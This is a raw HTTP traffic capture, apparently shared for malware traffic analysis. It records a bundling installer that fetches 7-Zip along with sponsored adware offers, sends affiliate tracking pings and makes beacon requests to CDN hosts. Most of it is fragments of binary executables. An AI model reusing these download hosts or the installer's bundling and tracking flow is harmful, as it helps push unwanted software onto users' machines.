...#v..$..Gv}h../.6o.x.:/.r..5lF....5W.4..s..\q~.D >{.wJ/..DA S....
MOb....Y'E.0..\Ah.9.....{.:...-)kj[..q.-....n>.IC..2......m-...*f"J
mmVr....".o..n....\O$..V~p*I...x[&..d{......R0.L.>C.Xn....0..]....$
..L..5=k.q.....A.l..I.'..g.....$.....u{.c......).;Ke\H..?.x...8......{
<.p.....=D.........W.....B.R.p.E....U..HM....#..S.3f<r..1|:...N"
P}O..U... .5.JZ..x..>8..m......H....E...N...Y.._.\..x...S..<..*`
=.@[email protected].......)Y.b.@H/..?..n9b......4....x["..i.wH.....c...iP7k.s.r.
........V:;M..=I.d..........K'[email protected]......
..........S....?_..F...#-Of..`:......&.. E..Rg/..{...E..f.....n...O.5.
..'zd..*.T.....A..#!"@.>.......AW...$ra....M....... <O.>l[...
....n...c.g.).*N..A=..[6q..'..2..Zg..h}........'>...^kGT......,i...
.m|y....I..V...D....#.]............s.k...E.x....Z........J?..{m.......
...T.).*.4".....cv._....7S[2O.)<.f&D.`...73t...^{.._k'..{.ref...gS.
..=(..Q.4.4F...O....J.t...9t.;..!OH$S..B....[....9....mS....'.^...
<<< skipped >>>


GET /t.ashx?e=9OTdpoOUy6inb5JQEhhcuNLznKmg4M9JQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMakct/zwjCNOBgmzg0f NNyBsa06lteb2QHWCwuhcIPNnQlB3kfGAhdwUPDCGDH0tL4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=9OTdpoOUy6inb5JQEhhcuNLznKmg4M9JQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMakct/zwjCNOBgmzg0f NNyBsa06lteb2QHWCwuhcIPNnQlB3kfGAhdwUPDCGDH0tL4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=9OTdpoOUy6inb5JQEhhcuNLznKmg4M9JQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMakct/zwjCNOBgmzg0f NNyBsa06lteb2QHWCwuhcIPNnQlB3kfGAhdwUPDCGDH0tL4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhskHTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:24:55 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk..



GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=83916-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:05 GMT
Content-Type: application/octet-stream
Content-Length: 587412
Last-Modified: Thu, 30 Apr 2015 03:13:41 GMT
Connection: keep-alive
Expires: Sun, 03 May 2015 09:22:05 GMT
Cache-Control: max-age=259200
Content-Range: bytes 83916-671327/671328
..U...B...<..........wH...@.............................:.uF.......
t1.......B.............:A.u#.....................u....................
.......................t...<....U..D...E.......M..M...Q...D.....D..
............:.....D..............;.....D..............K....E.....E....
:.....t{.U..U.....M..M...Q.......M..M...Q.......M..M...Q........4....E
.....E...4...Q.)...................U......... ...........$......;.....
t{.E..E.....U..U...B.......U..U...B.......U..U...B........0....M.....M
...0...R.....................E............................K.....t{.M..
M.....E..E...H.......E..E...H.......E..E...H........,....U.....U...,..
.P.....................M............................#....}..t..M......
.......R..!....................u..........M...8...3._^.M.3........]...
........U.... ....T.H.3..E..}[email protected].
......M..M..U..................t6.........../t............\u........E.
..................U........E.;E.tR.M. M.....Q.U.R......P..H......M. M.
..3.f..M..........P.M.Q.......................3.f.......}..t..M.Q.....
.R.........E.P......Q..............R..@pG....u.j.......P...pG..M.3..a.
....].....U.........T.H.3..E.VW..|....}..t..}..t..}..t............}...
.S.....|....M.;H.........|....z..t...|.....Q..........|....B.......|..
....U.;Q.|.......>.....|......U.;Q.}...|.....Q.K........|......H.;M
.}...|.....P............|.....<...R..|.....Q..........|....E..B....
...Q.U.R.E.P..|.....R.........................|.....Q..........|....B.
.............t.3..q..........~.......^..........u.......K.........
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=694049-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Type: application/octet-stream
Content-Length: 416427
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 694049-1110475/1110476
...^...y..R.?...tN.ts...&..'^....]I...K.uQ......A#......t.3.....).2..8
'...Q .k.1.f....8P........U^.%.i..Jz...R]A.......X..>oqIi...v.\..!.
.pk.r....B.......)b..>..KR..3zO.f......D..M9.&...>O....W3.(..!.7
%*[email protected](o.-..$.31..V......p.6............. r..5.jf4.yrF.O....
w....}8..............L......'(..'..../ .-[9..#.........n`Z..A...<..
I.8)'.QnB.`M..^V.gVt0&.EI..8.?sM.|.p....K.......J.......q..c.'.7\(!7..
d.;4y....F......g.v.._.9....LC?..........f..>.........).-*....{%&..
B.8..0P.....!.D.,..l&...2.y.O.|R).......{4.!K..`k...2..c.3.....!.T....
....r..5`...............c./.66.JGvN../.).u.....d.q...5.V.%..q5>...r
.....\...\V:..%.B-.]....~.X.C..HQ.{[.....i".('...`.......@.,.m....zeG.
Fa(],.Kt .LdS..g.4.3v.tDu`.....gQ.np0........~...........J....\.....RZ
.3......\..?. .....h.......?.H].9.G.g......x..4j. ..Z..?....xa..I.....
..?...ai.4...2.g.f v......g.\..aeWIN...0.F .......u......e\.>...~..
.....<y.W2......^Io.y3...v.2.rO..X..A.*.z7.w......cOv...B.!>m..:
Jj...^G. .u..]..ykV.~...................6.....YL.._o ..<.:.w../.9Z.
U......A!..]GZA..9.8.jU..L..GW.=.....p...G....8..3..KC...oH..ZP....A2U
..<.b/*35K..D.....#........n.53H...c..&ei..=P.NUY..%^#y.h3.........
.....qfX..;F..JE.1d....v#..fh%...R..o!....K.A...........W.."s!....#...
.a.N$S....0..1_......)z.J\......Q.....J.*`.MPYt.....Qb.?re&v..c..X'...
.y..?........d....].]O........=(...&.X=n'.5..)....q.*.....9S..\.c.{..8
...k.....*T...g..>Y"9...m.........J.E"H.: iZ...$..g)..`.d..........
.....O[.OJk.G..{.9......y.....}...........#...b.G...-c..._F...._..
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=138810-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Type: application/octet-stream
Content-Length: 971666
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 138810-1110475/1110476
.:..q...v.......c.....)F../ ..I7.....<U^.J....;..... .C..TYa..24...
T......r<wz.<{.b.].6Vb......:.b.=&.E/.M}. .73]....d#...x... ..G|
.R..Z9 T.......~qX.?...(*yI)q.2.|Uj.0.2.....Vo...2...@.*Tg..CJ......7r
.i'.....k..|96W.......^YI....*...,S!.u!O&.......H.y.o....$A..4.(F.w.#.
a....n..L..2..ba..j.a.H.?..\[email protected].,.f..
.......M..Q...i.3LX...7.RJD....4...&....*5JE.6f.q"v.........q[.....x.s
9..8q..0...q.......B/......9......L2B}.~g..%..L. .....4....HQ.C.q!...q
<|].^c.*4....Zb1x.^...D$.(.u."......_0...5....x..6i. ........V1....
..I.*E.*...-..x.._.....1.6.D.56.:..W....F.......P.w..h...kE.........v.
.......`....%.......<.`....yu.2.....<...j2..'b.....>ie..t..k.
I.o.....Gy....V.y.z."..a......K...O..PH...#..6..4..|Im....t......LH.?.
d...h....>..}...............B.|X...>..L..*^..~.`9..*.Jk0..".....
!;...A....s.1.....g..m(N..:ed'...p.acr...\.sc.%..>.......c...;.#.kV
..........E.{...g...i...ol....(V!..{)F.....krQ&.[..<.b...C~S......%
0..Z.Xg.......KT9.,......U....a......n{$.QZ8]h... .......\.N.Q]...f...
6....an4-..,........V..u........%.6.B..q.^..j..r!.....=f....K3..=.:..[
..-..9.....*.'(Y#....S...5N....z..........[.,e..._...Q.R =..u...0l..t&
lt;...N.7.-..dG.....VFm.s) .......#.F..#.Thn#@...g.z.RO.....,.s.....$.
.L..-Y.w......^.Fi....<&.:.."8p..3..U........ ..?7 r.x}.6.......rY.
vwO~Jl....H..K*.T ......x!...9.d..6.ps..Q.H....</J.>..'}pRxV...0
%...KJ...a >YJ.....N.._..s...%.....C?....V.....Cp.IkZ.<_O*.):...
n.U-..O3.[....id...Y..ps,.#.).gso..^.U.,.c...{..T....r..... .x..H.
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=457849-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:27:18 GMT
Date: Thu, 30 Apr 2015 09:27:18 GMT
Content-Range: bytes 457849-523255/523256
Content-Length: 65407
Connection: keep-alive
[email protected].............%...a...A*..P..=>(..;.....v.
.@j....|)[email protected]%..=(..$.9.lP..n.4...S......!0.....<...9.T.5-.
:.L.=.E...........W.4r.lk..c...'.P~..............D.-k.q.=co$.0....\L..
&_&z.].HN....)7..|.[.Q;.Aa<.....0]....K.....g`x..Pw...L!!.........f
R.Dht_H....X...h..n.....~.n.... v,[email protected].:../..Q
.'......AD...^...'.....If.X........u..g.....D.1aW.w....3..J9....VQ5.].
. A.?...t......>N.V.u.Q.....}..dT<b.*..s.t..W.1(......; ..!...^Q
.l...P....ZC....iLU....o4..<..8.ld...\O..........o.|...J.........KB
$..|n.x...~...'}....Y.v..`~..^..~z.TU..T.......=p~..W.,..K...d........
lbO#R.`.3y.m...6..o..."2C[.X[q.....ws.x..^...[..L(..5'.g.T.x....Q./!u.
8........*...g..~....).FY...Y.F.M..G.By......r.eE..dI..b. ..>C.....
aSI......"X..1.......L..7.1..Jj.E.D..........m.C..../o.n...[.I.v..SP..
..e......'Bxn..H...dp.O....#:..{..?..^....O.. ....MD...D'N.*.....6.M..
R.P.a.............d..;...h4T.....(./BsjpD.......hH0..,.2.B..5...!.M.. 
1....B.@...'.E..x~....f..N..=!.1....:.J....gj....C.._. G".......o.Q9.O
..#.u........T.....(...W#.(.CIt=...*.>dn*..n.b.."............[..=.,
$.\..R..`k(%...q.|l..M../.0(..L#9....F.Z.G<...W`.X.H\.e.;.....j.M..
............q..H........S..`..e|)[email protected].?.>.\..i;...0...
..G......./...V.V. .j.w|....X.>r....ifZ.X...g.../sU2..p6.$....R....
....,.....X..!S~.Wq..u...^.......*>..(.d....e..|I....nx...W....C2*.
.).j;{Y..mw*BW.....nu.. F...(......3wXt.g.zL..*.l...O@ze......'.4...A.
.1!........Y....V..G5s.p.9...\[email protected]\U......'@1...L.e.tq.
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.RegWrite HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 30 Apr 2015 09:23:46 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.16 ms","message":"store 1 action and 0 upd
ate "}..0..



GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1
Range: bytes=439662-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 146552
Connection: keep-alive
Date: Sun, 26 Apr 2015 07:01:19 GMT
x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671
Cache-Control: max-age=3600
Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT
ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 439662-586213/586214
Age: 1492
X-Cache: Hit from cloudfront
Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ZZVHXQjEK6h-mQz5kmN7TzrKM8R1KdZ8REZnYgfvm7hZ-SVI6trSFQ==
W...1....b..tM...;.q.......:......r..z.....'.^U}.&.G.`W.)z.&.E.....&..
...P...~..TO!..z......Z.".*.a.v..\....aLS..{w..cJ..D..EO./...D.CG.]:..
b..a..S...":..?..s#w..Q..3O.7.~....wn.X.4QF.sRHx..q(..'....K..........
...Z..D.q....S..Ki.U.I.....:..8.o...EF...:..=........g..J...H....r..-.
;.H..}.....g......;.L{. =."1lJ{S....G.....OR.!}uh9.O....O...E..bKS....
k;..WA...@._.K...0.x....^..,.C...W~^.b.{....}..M.,.u,..[..c-...."..a..
.....''...L6...'D{.e..}B.n.D.g....9.........o>.......r.9..g........
[email protected].`..B..e.F.1..z.,.{}../.%.A~............i.......L.Z.7.
....|..o.6P....]2`j.7...q.|fM#1.......0.[[email protected]...=\w..b.
$)....!.y.C.....^.[.E.....C)7|2P.,....u...1...a% ..aR..U.....%..H.....
..e..M..HD$.}".$Z.K.UnW[.ba.i7.D.;A4Qi.z.[]..\|..?jf.R...)>...N..].
@.......x..[....V....t..Z<1U.T....]U#@n.x.ww.....R.Q.z7......d.....
F....t.l.]...0.. ._..>1mG.A.1..%`mdv2.,....0.pK.7U7q....?.=......(.
J/...O....u.......{.....P..N.."5..@..)o............}X-<E.........QW
...h0..$yB.Iccg]..J...=.h....u`3.55...nA.l.Jn,....*[email protected].}k.X..
...Dg% N...Q..LH........ii7J...B/..Du..AB.&..W.Q.i0.......,.cHWv.Yx..X
xm{...oTD5R..%.1.0....>?#.TJ|)....z...e..-V.#`......G.B.3v...47...r
.B@...:.....S.....o.....>.....#.5."^.]._.....D4..j80c....!...>..
G........2...(.,vO$..^<.......A...}........._...x..'.N..1...y:f)u9.
c5'...(;....]..B.OTv.*.I.P .......u._........{.J...fS...IG.....~.b..b.
3h.......d......U....#..".......d..b;..../....e....O....^...~K.b)...".
..B-v.....B....h..Am....G...{.v..*.~......9.:...._O.......e..Ym.6.
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=4&index_in_screen=1&index_in_session=4&0.9006253662360204 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.5.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:26:53 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:26:53 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=1&index_in_screen=1&index_in_session=1&0.3673380151777771 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.6.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:26:53 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:26:53 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=1&index_in_screen=1&index_in_session=1&0.08809823590030197 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.6.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:27:03 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:27:03 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=2&index_in_screen=1&index_in_session=2&0.6360942821490396 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.7.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:27:03 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:27:03 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=2&index_in_screen=1&index_in_session=2&0.47217198144139605 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.7.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:27:09 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:27:09 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=3&index_in_screen=1&index_in_session=3&0.21302719032317296 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.8.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:27:11 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:27:11 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /sd?is=sm HTTP/1.1
Range: bytes=327035-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:22:09 GMT
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Range: bytes 327035-523255/523256
Content-Length: 196221
Connection: keep-alive
C.......4..e.(.....7.dQ.I......l....J..:.W<.m7Fd/.!.I.s.....z...Q.(
O.....h.........V...E....T..K....K...".}..O%.K...D..Me.."..b....9.D..Q
..L?..`......`..!|X.=....vt5..2w...%.q.$R....).. ..t..f...&......V.6..
....V...J...}l..),"[C...ro U..g$4...?JO/#.p...[T..}l....m......R.....B
.-c..........D..../....$..r3..........!!.o..#'[email protected]........
...)n:S.`....ZP.:Ih.!.\..Za[P....u.@.'.....0.8..^.6.............R...J.
..T.e.a:._y.".$y......x......9.N..aL[..2..Z$....[.y,u...0^..a..pJ..P..
[email protected]..^%2i..rJF..C..0c...}..&....z`.2h"'.;.L.n.
....j4........b..47.....B...8....\.}Ta`.<........K....<..."..j.o
j}.}..<aQ.........iIy..'.6E...........EI.@....>......m.........|
.}[email protected]@"....G4...C..A...o.6...97..H...%.[g...
"[email protected].~P....*[email protected]....`......m/.........yY.>
.....=...VEd.-.........q.V0..,.i.H:...X...73....Q..E.%.......h..q.bHO!
.c...H...|..<....}....%....9..>M.......fd..>..\....._4eh..../
.C [email protected].........=.p...........L....}.
.Id....x..Gq.M.^.w.I'..a.\Ca.v.7#..vP..^..m..&..X.k.L.L.....r.........
.S|.r....l=.YYr..`9..........e.y!..p...o........p[......-..S..........
J...x....g~........F....E....W.....D0....-p].Wx...'...d0m;9..a......k.
........c1.;...........`w.k.{O......P..E``.<b.......c[}.}.....Iy...
j?,.s....}T>...*.V.|...L9........M..68..v]...M.H......ycr......'.U.
...a...K....Z.J~..GCB&..7F.1.l.! .&.m.O)@y...x%.%..c>.#.....>.(K
CN...m.y....J...;.s.G..i.U...}...~..z^P......B....H.>.5........
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=130814-261628
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:23:51 GMT
Date: Thu, 30 Apr 2015 09:23:51 GMT
Content-Range: bytes 130814-261628/523256
Content-Length: 130815
Connection: keep-alive
[email protected]}R...;B...,..vgQ4...W..O&....=.....
..s../y.wa.h.0p$.Vf.J...JD..j5..........;...Y.....:k.tT=..x./....E..n.
..........$.s=.....)8p.E....B..c.$..Vj;.,.t.D|6d.B.lp.>Y.C.........
w.^|..Yx.P`N..j.RN.. ...~...Lok.....o..m%`,@,.....J.S...jM@.....#...J.
.h..U^...`.RV.,^z..1.d/>?.u.\......{.r.l....M........e.&...[.6<.
.M.......h.^...H.)..6.........../.O.]........W}. ...$..x9.9.i.......).
.~..b.T.........f...<8...C..$>YC............t..R.....`.*Q.va...q
@..........q.........Yz..`.....i...X.y...1.KQ...w,d.....4Oxn....... (.
...6.MY. .u...".Q.Fn.D..<..o..M.......&ZYJ.b5.24o...M...j..$...l>
;.`rlx~..~F6Zh..>..`...i.y..-.e.....2.. ..CCkx...&.g.....j..Y......
V.5...5.[....z.J.....R..x..u..i...|.....Y.s..-s.1.>...F.....G...YWH
.0.H.... .6=AQ.s.......%..3n.S.,..RY.D%...l.G^..Ny.QMb...>..=.1:h8.
